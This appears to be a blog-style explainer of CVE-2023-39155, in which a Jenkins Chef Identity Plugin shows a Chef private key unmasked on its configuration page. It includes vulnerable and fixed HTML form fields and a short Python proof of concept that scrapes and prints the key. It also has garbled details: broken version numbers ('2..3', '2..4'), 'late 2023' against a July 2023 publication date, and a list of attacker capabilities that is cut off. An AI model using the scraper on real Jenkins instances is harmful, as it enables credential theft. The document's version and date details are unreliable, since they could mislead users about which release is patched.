In late 2023, a security vulnerability was reported in the Jenkins Chef Identity Plugin, tracked as CVE-2023-39155. This flaw is critical for Jenkins users who rely on Chef for configuration management. It exposes sensitive user credentials (user.pem key) by not properly masking them in form fields. In this article, we’ll break down what this vulnerability means, why it matters, and even show a demo exploit scenario to illustrate the real-world impact.

What Is the Jenkins Chef Identity Plugin?

Jenkins is a popular open-source tool for continuous integration/continuous deployment (CI/CD). The Chef Identity Plugin helps Jenkins authenticate with Chef servers using a PEM-encoded private key (user.pem). This file is essential as it allows Jenkins to perform operations as the Chef user.

The Vulnerability: CVE-2023-39155 Explained

Versions 2..3 and earlier of the Chef Identity Plugin display the user.pem key field in the Jenkins web UI in plain text. Normally, sensitive fields like private keys or passwords are shown as masked (i.e., as asterisks or dots). If not, any person with access to Jenkins’ browser session, or looking over an admin’s shoulder, could simply steal the private key.

> In plain language: The plugin shows your secret key to anyone who can load the config page – like leaving your safe’s combination written on the safe door!

1. Attacker Gets Access to Jenkins UI (with plugin installed)

The attacker, or even a nosey coworker, gains access to Jenkins and navigates to the Chef Identity Plugin configuration page.

2. Attacker Views the “user.pem” Field

Since the field is NOT masked, the private key shows right in the browser. Here’s what it might look like:

<!-- Vulnerable Jenkins plugin user.pem field -->
<form>
  <label for="user.pem">Chef user.pem key:</label>
  <input type="text" id="user.pem" name="user.pem" value="-----BEGIN RSA PRIVATE KEY----- ... -----END RSA PRIVATE KEY-----" />
</form>


*Notice the type="text" field — this is what makes the key show up in plain sight.*

3. Attacker Copies the Key

They copy-paste the key and now have the same permissions as the legitimate Jenkins-Chef user. From here, they can:

Below is a Python snippet that simulates an attacker scraping the key from the web form

import requests
from bs4 import BeautifulSoup

jenkins_url = "http://jenkins.local/pluginConfigPage";
session = requests.Session()
# Assume attacker has access (already authenticated)

resp = session.get(jenkins_url)
soup = BeautifulSoup(resp.text, "html.parser")
key_field = soup.find("input", {"id": "user.pem"})
user_pem = key_field.get("value")
print("[+] Stolen Chef user.pem key:\n" + user_pem)

Disclaimer: This just illustrates how trivial an attack can be if your Jenkins instance is accessible and you have this vulnerable plugin version.

How to Fix It

The Jenkins team fixed this issue in Chef Identity Plugin version 2..4. Update as soon as possible!

- Official Jenkins Security Advisory
- Github Plugin Page

After updating, the user.pem form field will look like this (hidden)

<input type="password" id="user.pem" name="user.pem" value="some-key-value" />

Now the key appears as dots or asterisks, masking its value from prying eyes.

Update to version 2..4 or later immediately.

- Review permission controls on your Jenkins instance – only trusted users should access plugin configuration.

References

- NVD Detail for CVE-2023-39155
- Jenkins Security Advisory – SECURITY-3186
- Chef Identity Plugin Page

Final Thoughts

CVE-2023-39155 is a textbook example of how small lapses in UI security design can lead to major security holes. Always treat sensitive fields with the protection they deserve, and keep your plugins up to date!

Timeline

Published on: 07/26/2023 14:15:00 UTC
Last modified on: 08/01/2023 20:33:00 UTC